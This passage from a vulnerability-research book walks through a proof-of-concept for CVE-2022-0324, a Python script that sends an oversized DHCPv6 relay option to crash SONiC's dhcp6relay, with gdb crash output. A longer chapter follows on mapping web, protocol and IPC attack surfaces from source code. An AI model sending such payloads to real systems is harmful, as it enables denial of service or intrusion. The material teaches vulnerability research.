The `link_address` and `peer_address` members of the `dhcpv6_relay_msg` struct are of the `in6_addr` struct type, which is not a custom struct defined in `relay.h` but instead a shared type from the Linux operating system itself (see <https://man7.org/linux/man-pages/man7/ipv6.7.html>). This struct contains a single unsigned char `s6_addr[16]` member.

After confirming the data structures, recall the specific requirements for these bytes in order to reach the vulnerable sink:

1. When parsed into a `dhcpv6_msg` struct, the payload's `msg_type` member must equal `DHCPv6_MESSAGE_TYPE_RELAY_REPL`, defined as 13 in `src/dhcp6relay/src/relay.h`.

2. The payload must include at least one `dhcpv6_option` struct after the `dhcpv6_relay_msg` struct.
3. When parsed into a `dhcpv6_option` struct, the `option_code` member must equal `OPTION_RELAY_MSG` (9).

You can re-create the bytes matching these requirements using the `socket` and `struct` libraries. In particular, the `pack` function converts values (such as strings or integers) into their equivalent byte representation. For example, the `msg_type` member is of the type `uint8_t`, an 8-bit (or 1 byte) unsigned integer. This matches the unsigned char type supported by `pack`, represented by the `B` format character. For the full list of format characters and types, refer to the Python documentation at <https://docs.python.org/3/library/struct.html>. Thus, use `pack("B", DHCPv6_MESSAGE_TYPE_RELAY_REPL)`, where `DHCPv6_MESSAGE_TYPE_RELAY_REPL` is a constant value 13, to generate the corresponding packet byte. Repeat the struct-to-bytes process for the rest of the expected structs.

NOTE

While the `pack` function appears to share the same name as the `PACKED` attribute in struct definitions, they have different meanings. The former packs non-byte values into byte values, while the latter removes padding bytes between struct members.

You need to make one important change to trigger the vulnerability. Since the sink-to-source analysis revealed that the vulnerability lay in an overly-large `option_length` being used as the size of a `memcpy` to a 4,096-byte destination buffer, set `option_length` to the maximum 65,535 value and throw in additional overflow bytes afterward. Since `dhcp6relay` converts the value of `option_code` and `option_length` from network to host byte order, convert these values to network byte order first using `socket.htons`. Set the other struct members that don't affect the taint flow to the vulnerability, such as `hop_count` and `link_address`, to default or dummy values.

Finally, connect to the IPv6 address you configured for `dhcp6relay` earlier and send the bytes using the `socket` library:

```
import socket
from struct import pack

UDP_IP = "2a00:7b80:451:1::10"          # MODIFY THIS
UDP_PORT = 547

DHCPv6_MESSAGE_TYPE_RELAY_REPL = 13
OPTION_RELAY_MSG = 9

PAYLOAD = pack("B", DHCPv6_MESSAGE_TYPE_RELAY_REPL)    # uint8_t msg_type
PAYLOAD += pack("B", 1)                                # uint8_t hop_count
# struct in6_addr link_address / unsigned char s6_addr[16]
PAYLOAD += b"A" * 16
```



```
# struct in6_addr peer_address / unsigned char s6_addr[16]
PAYLOAD += b"A" * 16
PAYLOAD += pack("H", socket.htons(OPTION_RELAY_MSG)) # uint16_t option_code
PAYLOAD += pack("H", socket.htons(65535)) # uint16_t option_length
PAYLOAD += b"B" * 60000

s = socket.socket(socket.AF_INET6, # IPV6
                  socket.SOCK_DGRAM) # UDP
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, True)

s.sendto(PAYLOAD, (UDP_IP, UDP_PORT))
```

With the exploit complete, stop the original running container and modify the Dockerfile to copy in your exploit script as well.

```
--snip--
# copy exploit script
COPY exploit.py exploit.py

# copy add ipv6 address script
COPY add_ipv6_addresses.sh add_ipv6_addresses.sh
RUN chmod +x add_ipv6_addresses.sh
```

Next, rebuild the container image and start a new session.

```
$ docker build -t dhcp6relay .
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relay
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./add_ipv6_addresses.sh
Stopping redis-server: redis-server.
Starting redis-server: redis-server.
(integer) 1
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay
```

Start a second interactive session by listing the running containers and starting bash in the current one:

```
$ docker container ls
```

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
743a13d9862c	dhcp6relay	"/bin/bash"	7 seconds ago	Up 6 seconds		dazzling_ram

```
$ docker exec -it 743a13d9862c bash
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# python3 exploit.py
```

You should observe a segmentation fault in your first session running dhcp6relay.

```
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay
Segmentation fault
```

To perform a quick triage of the crash, debug dhcp6relay using gdb and replay the exploit:

```
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# gdb dhcp6relay
Reading symbols from dhcp6relay...
(gdb) run
Starting program: /sonic-buildimage/src/dhcp6relay/dhcp6relay
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff785d700 (LWP 72)]

Thread 1 "dhcp6relay" received signal SIGSEGV, Segmentation fault.
parse_dhcpv6_opt (buffer=0x5555555ac605 <error: Cannot access memory at
    address 0x5555555ac605>, out_end=0x7ffffffffffe168) at src/relay.cpp:206
206         size += ntohs(*(uint16_t *) (buffer + 2));
(gdb) backtrace
#0 parse_dhcpv6_opt (buffer=0x5555555ac605 <error: Cannot access memory at
    address 0x5555555ac605>, out_end=0x7ffffffffffe168) at src/relay.cpp:206
#1 0x0000555555560a53 in relay_relay_reply (sock=13,
    msg=0x555555589200 <server_callback(int, short, void*):message_buffer> "", len=4096,
    config=0x5555555a09e0) at src/relay.cpp:497
#2 0x0000555555561085 in server_callback (fd=12, event=2, arg=0x5555555a09e0) at
    src/relay.cpp:603
#3 0x00007ffff7f8d13f in ?? () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#4 0x00007ffff7f8d87f in event_base_loop () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#5 0x000055555556123a in signal_start () at src/relay.cpp:651
#6 0x0000555555561649 in loop_relay (vlans=0x7ffffffffffe4e0, db=0x7ffffffffffe520) at
    src/relay.cpp:744
#7 0x0000555555574b38 in main (argc=1, argv=0x7ffffffffffe6a8) at src/main.cpp:10
```

As expected, backtrace shows the crash occurs in the `relay_relay_reply` function call. While there's a lot more work to be done to turn this into a useful exploit, you've confirmed the vulnerability! This should satisfy any developer or triager that you have an attacker-controlled crash via a buffer overflow.

By retracing your steps from the center of the maze, you found an unbroken path from a vulnerable sink to an attacker-controlled source. Reviewing each step in discovering CVE-2022-0324 demonstrated the key principle of selection in the sink-to-source tactic.

Conclusion

In this chapter, you learned key concepts in source and sink analysis before applying the sink-to-source analysis strategy to rediscover CVE-2022-0324 from scratch. First, you narrowed down vulnerable sinks by quickly eliminating non-exploitable patterns. Next, you filtered out unnecessary taint paths in your analysis by focusing on reachable code. To develop your proof-of-concept exploit, you built a minimal test environment that isolated the target binary instead of the entire operating system. Finally, you assembled the payload through a structs-to-bytes approach focused on triggering the

specific code path to the vulnerability. This “minimum viable exploit” tactic cuts down unnecessary analysis throughout the entire workflow and ensures that you do just enough to reach a vulnerability.

3

MAPPING CODE TO ATTACK SURFACE

Once we know where we are, then the world becomes as narrow as a map. When we don't know, the world feels unlimited.
—Liu Cixin, *The Dark Forest*

As software grows in complexity, so does its *attack surface*—the potential entry points to exploit a vulnerability. In addition, more new features could mean less hardened or rushed code, while older features could lead to more unmaintained or deprecated code. Both present opportunities for vulnerabilities to be introduced, as developers' capacity to properly secure these feature is limited, and mistakes are inevitable when dealing with millions of lines of code. In addition, the impact of these bugs doesn't scale linearly. Minor issues can be chained together into far more serious vulnerabilities. In short, the more complex a target is, the more potential vulnerabilities there are to discover.

For example, Microsoft Excel handles not only Excel workbook file formats (*.xls*, *.xlsx*), but also Symbolic Link (*.slk*), dBase (*.dbf*), Data Interchange Format (*.dif*), and more. Note that these are just file input vectors; you also have to worry about inter-process communication and other network vectors. For example, Excel can be controlled by another process via Component Object Model (COM) interfaces or fetch data from external data connections to the internet. These are all potential sources for exploitable vulnerabilities.

However, the large attack surfaces of modern software can be overwhelming. Less experienced vulnerability researchers may try to test every possible source, falling into numerous rabbit holes and wasting effort. While this tactic makes sense in a black-box scenario in which the researcher is limited to what they can enumerate of a target's external attack surface, code review offers more efficient means to narrow down this search. For example, when researching a web application, instead of laboriously brute-forcing API routes, dodging rate limits and web application firewalls, we can simply check the relevant routing code.

This chapter will guide you through some of the most common attack surfaces and explain how you can identify and exploit them, starting from remote vectors such as web and other network protocols, followed by local inter-process communication methods. Finally, it'll deep-dive into file formats and how to analyze them for potential vulnerable implementations. For each attack surface, you'll study an example of source code that exposes it. In addition, you'll learn common vulnerable patterns that highlight potential weaknesses in the rest of the code. By doing so, you'll begin to identify common patterns in attack surfaces and how to identify them in source code.

The Internet

In the past, native and web applications used to live in separate worlds—native applications were compiled into machine code binaries that ran on specific devices and platforms, while web applications were mostly written in web development languages that delivered HTML, JavaScript, and CSS for browsers. As such, they possessed vastly different attack surfaces and exploit vectors, as well as varying means to retrieve and analyze their source code.

However, modern software development has led to web technologies quickly entering traditionally non-web domains. From Node.js to WebAssembly, there's a growing overlap between applications that live on the browser and native environments. Additionally, software continues integrating web functionality to power new features such as backups and remote control. This makes it even more important to understand web attack surfaces and vulnerable code patterns. From client- to server-side vulnerabilities, you'll learn how to identify these when reviewing code.

Web Client Vulnerabilities

Web servers are one of the most popular attack surfaces due to how common and easy to access they are. However, client-side vulnerabilities are just as prevalent, especially for software running on native devices such as desktop or mobile applications. A *web client vulnerability* can occur when a piece of software attempts to load data from the web, but handles the data in a dangerous manner.

Attack Surface

This attack surface varies based on how the software parses the data, from simply fetching a JSON document or running a full-fledged headless browser with JavaScript. It also depends on how much an attacker controls the destination the software is connecting to. These factors affect the scope of your source code analysis and the types of potential vulnerabilities you should look out for.

If the software only connects to a hardcoded domain or URL, any vulnerability in this attack surface requires a *man-in-the-middle* (MITM) attack in which the an attacker intercepts and modifies the data sent by a server to the client. This already assumes some level of control over the network or device that the software is running on.

For example, researchers discovered that the Nintendo Switch video game console used an outdated WebKit-based browser to load Wi-Fi captive portals—think the login pages that pop up when you try to connect to Wi-Fi networks in hotels or airports. The outdated browser was vulnerable to CVE-2016-4657, a memory corruption vulnerability in WebKit that could lead to arbitrary code execution.

To check for captive portals, the Switch fetched <http://connntest.nintendowifi.net> and compared the response to the expected string `This is test.html` page. A captive portal would usually redirect all requests to its own login page first and return a different response body. This would prompt the Switch to load the captive portal's login page in the outdated browser. To hijack this flow, an attacker modifies the DNS settings of the Switch (or the router) it's connected to, rerouting the Switch to an attacker-controlled web server hosting the payload to exploit CVE-2016-4657.

For some targets, the MITM requirement may be too onerous or impractical. However, in the case of the Switch, since it allows you to *jailbreak* the device, or cross a security boundary by executing arbitrary instructions in what would otherwise be a locked-down device, it's still an attack vector worth pursuing.

Having partial or full control of the URL the client requests opens up a larger range of opportunities for exploitation. For example, when testing the Facebook Gameroom desktop application, I noticed that the custom *Uniform Resource Identifier* (URI) scheme `fbgame://gameid/` registered by the Gameroom could be manipulated to cause the application to navigate to different pages on <https://apps.facebook.com> in its embedded Chromium-based browser. By exploiting a few redirection gadgets on <https://apps.facebook.com>, I was able to redirect back to my own attacker-controlled payload on a dif-

ferent domain that triggered a memory corruption vulnerability (CVE-2018-6056) on the outdated version of Chromium (<https://spaceraccoon.dev/applying-offensive-reverse-engineering-to-facebook-gameroom>).

The combination of a local input vector (the custom URI scheme) and a web-based gadget chain (redirections in *apps.facebook.com*) forms an increasingly common exploit pattern due to the growing prevalence of (often outdated) embedded browsers in desktop applications.

Identification and Classification

You can identify and classify web client functionality in code by searching for web-related APIs and library function calls in the source code. Developers use these libraries to simplify common web tasks like making web requests and parsing their responses. This allows you to quickly understand the scope of the web attack surface.

For example, I determined that Facebook Gameroom included an embedded browser because it imported CefSharp.dll, a .NET wrapper for the Chromium Embedded Framework. By tracing the usage of CefSharp APIs in the decompiled C# code, I identified the most pertinent sections that make up the web client attack surface of the application. Take a look at Listing 3-1, example code to load and render a web page offscreen with CefSharp.

```
CefSharpClient.cs using System;
                  using CefSharp;
                  using CefSharp.OffScreen;

                  class Program
                  {
                      static void Main(string[] args)
                      {
                          const string testUrl = "https://www.google.com/";
                          Cef.Initialize(new CefSettings());
                          var browser = new ChromiumWebBrowser();
                          ❶ browser.Load(testUrl);
                          Console.ReadKey();
                          Cef.Shutdown();
                      }
                  }
```

Listing 3-1: A simple CefSharp offscreen client

Based on this toy example, you can identify the `ChromiumWebBrowser.Load` API call ❶ as a key piece of code to identify possible attack vectors via an attacker-controlled URL. According to the CefSharp documentation, the `ChromiumWebBrowser.LoadUrlAsync` method is another option as well.

These API calls are technically closer to sinks than sources, which highlights an important point: when identifying the attack surface of software at the macro level, the distinction between sources and sinks becomes blurred.

Instead, focus on identifying code that's reachable from some external input.

Threat modeling allows you to prioritize key classes of vulnerabilities and relevant portions of the source code, after which you can apply sink-to-source tracing to craft actual exploits.

We can generalize this approach of identifying imported HTTP client libraries and their usage to all kinds of codebases. The use of HTTP clients isn't restricted to client-side software; the entire class of server-side request forgery vulnerabilities exists because server-side software often needs to make web requests as well.

Web Server Vulnerabilities

A huge range of software, from Internet of Things firmware to web applications, deploy a web server of some kind. As the menagerie of web vulnerabilities would take an entire book to explore, we'll focus on identifying and mapping the web attack surface from source code.

Web Frameworks

Complex web applications usually rely on a *web framework* that abstracts away and standardises many common web development code patterns. This reduces the amount of code developers need to write and maintain. Consider Listing 3-2, which is a Node.js code that exposes a few routes using the standard http library.

```
httpserver.js const http = require('http');

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  ❶ if (req.method === 'GET') {
    if (req.url === '/') {
      return res.end('index');
    }
    if (req.url === '/items') {
      return res.end('read all items');
    }
    ❷ if (req.url.startsWith('/items/')) {
      const id = req.url.split('/')[2];
      return res.end(`read item ${id}`);
    }
  } else if (req.method === 'POST') {
    if (req.url === '/items') {
      return res.end('create an item');
    }
  }
  res.statusCode = 404;
  return res.end();
});
```

```
server.listen(8080, () => {
  console.log('Server running at http://localhost:8080/');
});
```

Listing 3-2: A vanilla Node.js web server

This demonstrates the difficulties of maintaining the code of large web applications without a web framework. Distinguishing between GET and POST routes relies on clumsy nested conditional statements ❶, while extracting path parameters like `userId` uses fragile string operations ❷. Compare this to Listing 3-3, which uses the Express web application framework.

```
expressserver.js const express = require('express');
const app = express();

const itemsRouter = express.Router();
❶ itemsRouter.get('/', (req, res) => {
  res.send('read all items');
});
itemsRouter.post('/', (req, res) => {
  res.send('create an item');
});
itemsRouter.get('/:id', (req, res) => {
  ❷ const { id } = req.params;
  res.send(`read item ${id}`);
});
app.get('/', (req, res) => {
  res.send('index');
});
app.use('/items', itemsRouter);

app.listen(8080, () => {
  console.log('Server running at http://localhost:8080/');
});
```

Listing 3-3: An Express framework web server

Not only does Express do the same thing with less code, it also abstracts away common tasks like checking the request method ❶, extracting path parameters ❷, and handling non-existent routes.

Web frameworks create opportunities to refactor code, such as moving nested routes under `/items` to another file. This makes the code easier to read for developers—and for you, the aspiring vulnerability researcher.

The Model-View-Controller Architecture

One common pattern among web frameworks is the *Model-View-Controller* (MVC) architecture, which separates the code into three main groups. By understanding this pattern, you'll be able to quickly analyze frameworks, understand the flow of data through sources and sinks, and focus on the

critical business logic that is most likely to contain vulnerabilities instead of getting caught up in irrelevant code. The MVC architecture comprises three parts:

Model Handles the “business logic,” such as data structures.

View Handles the user interface, such as layouts and templates.

Controller Handles the control flow from requests to relevant model and view components.

The routing code tends to appear around the controller components. For example, if we convert the Express server to use Spring MVC, a Java web framework, the controller code would look similar to Listing 3-4.

```
ItemController.java @Controller
❶ @RequestMapping("/items")
public class ItemController {
    private final ItemService itemService;

    @Autowired
    public ItemController(ItemService itemService) {
        this.itemService = itemService;
    }

    @RequestMapping(method = RequestMethod.GET)
    public Map<String, Item> readAllItems() {
        return itemService.getAllItems();
    }

    @RequestMapping(method = RequestMethod.POST)
    public String createItem(ItemForm item) {
        itemService.createItem(item);
        return "redirect:/items";
    }

    @RequestMapping(value =("/{id}", method = RequestMethod.GET)
    public Map<String, Item> readItemForId(
        @PathVariable Int id,
        Model model
    ) {
        return itemService.getItemById(id);
    }
}
```

Listing 3-4: A partial controller code snippet for Spring MVC

From this snippet, you can observe a few key challenges in analyzing web frameworks.

First, while frameworks help abstract away repeated boilerplate code, it comes at the cost of transparency, as the framework handles more busi-

ness behind the scenes instead of the application's custom code. This makes it difficult to understand the code's functions unless you're familiar with the framework's conventions. Fortunately, in this case it's still fairly obvious that the `@RequestMapping` annotation maps a handler method to a particular request route ❶. However, it isn't immediately clear what `@Autowired` does. The Spring documentation states that this annotation "Marks a constructor, field, setter method, or config method as to be autowired by Spring's dependency injection facilities." Without a deeper understanding of the Spring framework, this explanation is inscrutable.

Note the abstraction used by `createItem`, which returns `"redirect:/items"`. The `redirect:` prefix indicates that the route should redirect to the URL that comes after it—in this case, `/items`. Many frameworks use conventions such as prefixes or sequences in route strings to denote special functions and variables, including path parameters. You must interpret route strings according to these conventions.

In addition, depending on the framework, the available routes may not reside in a single file but rather get distributed across multiple components, each inherited or extended in different ways. For example, to infer that a route like `/items/123` exists, you need to parse the `@RequestMapping` annotations for both the `ItemController` class as well as its `readItemForId` method. However, we can add another controller like Listing 3-5.

```
ThingController.java @Controller
                     @RequestMapping("/things")
❶ public class ThingController extends ItemController {
    ❷ @RequestMapping(value = "/price", method = RequestMethod.GET)
      public ModelAndView getPrice() {
          // Controller code
      }
}
```

Listing 3-5: An extended controller class

Other than defining a `/things/price` route handler ❷, this controller also inherits the previous routes and methods from `ItemController` ❶. As such, it's necessary to analyze framework code comprehensively, especially for object-oriented languages.

Unknown or Unfamiliar Frameworks

While there are several well-established web frameworks that you'll familiarize yourself with over time, some applications may use custom or modified frameworks, or not use any framework at all. They may not apply the MVC architecture or other well-known patterns. To effectively analyze web server code regardless of the framework, focus on common routing and controller logic that all web applications must implement.

First, identify how the code handles the basic building blocks of an HTTP request:

POST /items HTTP/1.1

```
Host: localhost
Content-Type: application/json
```

```
{
  "name": "Apple",
  "price": 1
}
```

The application needs to parse the following HTTP request components:

Request method How does the code distinguish between a GET or POST request? This could be a simple string comparison or more complex decorators like `@GetMapping`. Grepping for GET or POST might yield insights into this.

URI To locate routes quickly in a web application codebase, look for URI-like strings. If you have a working instance of the application, try matching the behavior you observe at a particular route with the code that handles that route. Applications often handle routes declaratively, such as `app.get('/items', ...)` instead of `if (req.url === '/items')`. Understanding the declarative convention is key. Some frameworks, like Ruby on Rails, even centralize the routing logic in specific files; for example, *config/routes.rb*.

Headers Does the application check specific headers? Search for common headers like `Origin` or `Content-Type`. Header-parsing logic may occur at a higher-level than individual controller code.

Parameters How does the code extract parameters from a request? Other than the request URI, this is one of the most common sources of external input. Parameters can come from the HTTP request body (like the JSON content in the example request), the query string, or within the path.

Next, identify how the code handles sending HTTP responses. For example, after creating the item and adding it to the database, the web application could send:

```
HTTP/1.1 201 Created
Content-Type: application/json
Cache-Control: no-cache
```

```
{
  "id": 1337,
  "name": "Apple",
  "price": 1
}
```

This time, the application code must handle sending the status code, response headers, and JSON body. It may also render some of this data in

HTML as part of the frontend. Once again, focus on the building blocks of a HTTP response and map it to the relevant code that appears to handle them.

With this approach, you can intuitively work out the patterns of any framework to sufficiently map out the web attack surface based on reachable routes. You can also save a lot of time and effort by reading the documentation, if any, of the particular framework the application uses.

Non-Traditional Web Attack Surfaces

A software's web attack surface is not restricted to HTTP endpoints. Other web-related protocols include WebSocket, Web Real-Time Communication (WebRTC), and many more. Some protocols and formats build upon HTTP, such as WebDAV (Web Distributed Authoring and Versioning) or RSS (Really Simple Syndication). This means you should think beyond traditional web attack vectors.

Additionally, a web attack surface doesn't mean you should look only for web vulnerabilities like SQL injection. For example, at Pwn2Own Tokyo 2019, the security researcher known as d4rk3ss0r exploited a classic heap overflow vulnerability in the httpd web service of the NETGEAR Nighthawk R6700v3 router (<https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router>).

Due to the resource constraints of some devices, their firmware tends to contain web applications built into HTTP server binaries without complex frameworks or abstractions. With the exception of open source projects like OpenWrt, firmware source code can also be more difficult to come by.

Finally, keep an eye out for other ways software can present a web attack surface. While a utility desktop application like a file archiving tool may not appear to interact directly with the web, consider features such as auto-update or license checking.

Some applications may spin up temporary web servers for inter-process communication. Some software require users to sign in via the browser as part of an OAuth flow. For example, the GitHub CLI tool can trigger a web app OAuth login flow via the `github.com/cli/oauth` package, which starts a local HTTP server before opening a web browser to the initial OAuth web URL, as in Listing 3-6.

```
oauth_webapp.go // 2020 GitHub, Inc.
func (oa *Flow) WebAppFlow() (*api.AccessToken, error) {
    --snip--
    params := webapp.BrowserParams{
        ClientID:    oa.ClientID,
        ❶ RedirectURI: oa.CallbackURI,
        Scopes:       oa.Scopes,
        AllowSignup: true,
    }
    browserURL, err := flow.BrowserURL(host.AuthorizeURL, params)

    // start local HTTP server
    go func() {
```

```

        _ = flow.StartServer(oa.WriteSuccessHTML)
    }()
    --snip--
    // start the browser
    err = browseURL(browserURL)
    if err != nil {
        return nil, fmt.Errorf("error opening the web browser: %w", err)
    }
    --snip--
    // wait until OAuth callback to start HTTP client
    ❷ return flow.Wait(
        context.TODO(),
        httpClient,
        host.TokenURL,
        webapp.WaitOptions{
            ClientSecret: oa.ClientSecret,
        }
    )
}

```

Listing 3-6: GitHub's OAuth package WebAppFlow function

After the user has successfully authenticated in the browser, the flow redirects to the callback URL ❶ at the local HTTP server with the temporary authorization code and state. The program then uses an HTTP client ❷ to make a POST request to the GitHub OAuth service's token endpoint and exchanges the authorization code for an access token.

In summary, the web attack surface covers a large variety of functionality, from clients to servers. With web functionality creeping into all kinds of software, there are plenty of opportunities for things to go wrong.

Network Protocols

Software can use many other networks protocols than HTTP to communicate over networks.

The *Transmission Control Protocol/Internet Protocol (TCP/IP)* model organizes the communication protocols between systems in four layers:

Application Handles communication between applications (for example, HTTP, DNS, and FTP).

Transport Handles communication between hosts (TCP and UDP).

Internet Handles communication between networks (IP and ICMP).

Link Handles communication between physical devices (MAC).

The TCP/IP model sorts the layers based on level of abstraction, with the application layer covering a vast number of custom and standardized protocols. Each layer relies on the next one down to function. Most software defers the handling of data at the lower layers to operating system APIs or

standard libraries; discovering a vulnerability at these levels will create an extensive impact.

The majority of code you encounter deals with the application layer, such as `dhcp6relay` in SONiC (see Chapter 2). Since SONiC is built to run on networking devices like switches, it's a useful reference for mapping a software's network protocol attack surface.

If you examine a more recent version of SONiC's code (<https://github.com/sonic-net/sonic-buildimage/tree/ba30775/src>), you should see several directories that deal with well-known network protocols, including `ntp`, `openssh`, and `snmpd`. Most of these are based on existing open source code; given the difficulty of properly and safely implementing network protocols, it's often better to use existing libraries. For example, `lldpd`, which implements the Link Layer Discovery Protocol, merely contains a patch folder and a `Makefile` that downloads the Debian `lldpd` package source code, applies the patches, and builds it as per usual.

Many of these standard protocols are documented with a *Request for Comments (RFC)*, a publication under a standards authority like the Internet Engineering Task Force (IETF) which describes the design and implementation of these protocols. These should be your first port of call when researching a protocol used by software you are targeting. They contain valuable information about the intended way to implement a protocol. Developers seeking to implement a particular protocol or format refer to these RFCs as well, so by identifying potential implementation gaps or shortcuts in the target, you may be able to find vulnerabilities.

Developers typically resort to coding their own implementations only if the protocol is proprietary or niche enough to require a tailor-made approach. You should prioritize these custom implementations, as they're likely less rigorously tested or reviewed than open source ones.

When reviewing code for a protocol, focus on two main features: the data structures and the procedures.

Data Structures

The data structures define how data is formatted and parsed in a network protocol.

You can find some examples of custom data structures in the code in `sonic-snmpagent`, which implements the Agent Extensibility (AgentX) Protocol for the SONiC Switch State Service.

The RFC for the AgentX protocol, RFC 2741 (<https://www.ietf.org/rfc/rfc2741.txt>), documents the data structures used. The "Protocol Definitions" section defines the AgentX protocol data unit (PDU) header format as well as various PDU-specific data formats. According to the section, the AgentX PDU header "is a fixed-format, 20-octet structure," with the first four bytes taken up by the `h.version`, `h.type`, `h.flags`, and `<reserved>` fields. We can map this from the code in `sonic-snmpagent/src/ax_interface/pdu.py`, which defines a `PDUHeaderTags` class with a `from_bytes` method (see Listing 3-7).

```
class PDUHeaderTags(namedtuple('_PDUHeaderTags', ('version', 'type_', 'flags', 'reserved'))):
```



```
--snip--
@classmethod
def from_bytes(cls, byte_string):
    return cls(
        *struct.unpack('!BBBB', byte_string[:4])
    )
```

Listing 3-7: The sonic-snmpagent PDU header parsing code

The method parses raw bytes into the expected PDU header data structure described in the RFC. It uses Python’s struct standard library to unpack the bytes using the format characters !BBBB, meaning the bytes should be interpreted in network byte order (big-endian) as four 1-byte unsigned chars. We then pass these values to the cls keyword, which Python uses to refer to the method’s class.

A new PDUHeaderTags instance is initialized with the provided ('version', 'type_', 'flags', 'reserved') values from the parsed bytes. This matches the format defined in the RFC.

When there are discrepancies between the usage of data structures in the code and the expected data structure of the protocol, vulnerabilities can occur.

For example, the vulnerability in dhcp6relay appeared because it parsed option->option_length as an unsigned 16-bit integer (also known as a *short*) with a maximum value of 65,535 before using this as the number of bytes to copy into a fixed buffer of size 4,096.

If you check RFC 8415, which defines DHCP for IPv6, the “Format of DHCP Options” section states that the option length field is a 2-octet (2-byte) unsigned integer. Meanwhile, the length of the variable-length option data field “in octets, is specified by option-len.” While dhcp6relay correctly parsed the option length as an unsigned short, it didn’t adequately cater for the variable-length option data buffer as expected by the DHCP for IPv6 protocol.

Pay close attention to how network protocol data structures are coded in comparison to the actual protocol documentation. These differences can often lead to more serious issues. Look for standard terms like “MUST” and “MUST NOT” that highlight critical implementation requirements. For example, RFC 2741 states that octet strings are implemented like this:

An octet string is represented by a contiguous series of bytes, beginning with a 4-byte integer (encoded according to the header’s NETWORK_BYTE_ORDER bit) whose value is the number of octets. The following bytes are padded to achieve alignment of following data. This padding is not included in the length field.

Consider what would happen if a developer failed to add a check that padding bytes are correctly added and instead reads all the data in a PDU in 4-byte increments. This may create an out-of-bounds read vulnerability as the program may read beyond the actual bytes in a PDU sent by an attacker. Many of these implicit assumptions may lead to security issues even if they aren’t explicitly called out in the RFC.

Procedures

A network protocol's procedures define the rules and conventions of communication. These procedures include the expected order and actions taken by clients or servers. Like data structures, discrepancies or weaknesses in procedures can cause vulnerabilities to occur.

While data structure discrepancies usually lead to memory corruption issues, procedure discrepancies tend to cause problems in higher-level business logic, such as authentication and authorization.

Knowing what constitutes a security boundary in a network protocol is necessary to correctly identify a business logic vulnerability. Most RFCs contain a section that discuss these issues. For example, RFC 2741's "Security Considerations" section notes that there's no access control mechanism defined in AgentX and recommends AgentX subagents always run on the same host as the master agent; if a network transport is used, there's no inherent security mechanism in the protocol to prevent rogue subagents from making unauthorized changes. As such, the lack of authorization is by design rather than a vulnerability (in specific AgentX implementations).

Some examples of procedures are:

Handshaking Initially exchanging messages to establish communication.

Session Management Tracking individual sessions between the two entities.

State Management Controlling the state of an individual session.

Flow Control Managing the rate and order of data transmission.

Error Handling Performing recovery or termination from invalid data.

Encryption Ensuring the privacy, authenticity, and integrity of communication.

Session Termination Performing teardown and cleanup of the session in an orderly manner.

Some of these are covered in section 7, "Elements of Procedure," of RFC 2741. For example, section 7.2.2, "Subagent Processing," states:

A subagent initially processes a received AgentX PDU as follows:

- If the received PDU is an agentx-Response-PDU:

1) If there are any errors parsing or interpreting the PDU, it is silently dropped.

2) Otherwise the response is matched to the original request via h.packetID, and handled in an implementation-specific manner.

This section specifies how the subagent should switch to different states based on the type of PDU received, including handling invalid PDUs. Now map this to corresponding code in `sonic-snmpagent` (Listing 3-8).

```
import asyncio
```

```
from . import logger, constants, exceptions
```

```

from .encodings import ObjectIdentifier
from .pdu import PDUHeader, PDUStream
from .pdu_implementations import RegisterPDU, ResponsePDU, OpenPDU

class AgentX(asyncio.Protocol):
    --snip--
    def data_received(self, data):
        self.counter += 1
        if not (self.counter % constants.REPORTING_FREQUENCY):
            # Stayin' alive...Stayin' alive...
            # Ahh, ahh, ahh, ahh
            logger.debug("Parsed {} PDUs...".format(self.counter))
        try:
            # each PDU type implements it's own subclass and will be inferred at construction.
            pdu_stream = PDUStream(data)
            for pdu in pdu_stream:
                if isinstance(pdu, ResponsePDU): ❶
                    # parse the response
                    self.parse_response(pdu)
                else:
                    # a response will be returned if the current PDU warrants a response
                    response_pdu = pdu.make_response(self.mib_table)
                    self.transport.write(response_pdu.encode())
            except exceptions.PDUUnpackError: ❷
                logger.exception('decode_error[{}]' .format(data))
            except exceptions.PDUPackError:
                logger.exception('encode_error[{}]' .format(data))
            except Exception:
                logger.exception("Uncaught AgentX proto error! [{}]" .format(data))

```

Listing 3-8: The sonic-snmpagent PDU procedure code

The code correctly checks whether the PDU is an agentx-Response-PDU ❶ and handles it accordingly.

Additionally, errors in parsing the agentx-Response-PDU are silently dropped, as expected, by catching the exceptions and logging them ❷. However, for other types of PDUs, the code doesn't appear to check whether `h.sessionID` corresponds to a currently established session and set `res.error` to `notOpen` if not.

As an exercise, follow the code from https://github.com/sonic-net/sonic-snmpagent/blob/4622b8d/src/ax_interface/protocol.py#L138 to confirm whether sonic-snmpagent really performs this check. Hint: Does sonic-snmpagent maintain a list of currently-established sessions?

Like the previous section on HTTP, this section provided a high-level model of the attack surface (frameworks, protocol), then broke it down into critical components (controllers, data structures, procedures) to identify po-

tential gaps in implementation. This approach efficiently covers the greatest number of potential weak spots in the source code.

Local Attack Surface

While network protocols deal with communication between hosts in a network, *inter-process communication (IPC)* is typically between processes or threads in the same host. This is what comprises the local attack surface of a target.

Some protocols can operate over both in a network or via inter-process communication, such as AgentX. For AgentX subagents to communicate with the master agent on the same host, RFC 2741 suggests local mechanisms such as shared memory, named pipes, and sockets. This opens up a whole new attack surface in inter-process communication even on the same protocol.

Both network and local transport include a variety of protocols such as TCP, UDP, and SCTP for network and named pipes, sockets, and shared memory for local. Sometimes, these protocols overlap; for example, we can access named pipes on Windows over a network. Note that a process is an instance of a program rather than the program itself; as such, you can use IPC to communicate among multiple instances of a program running the same code.

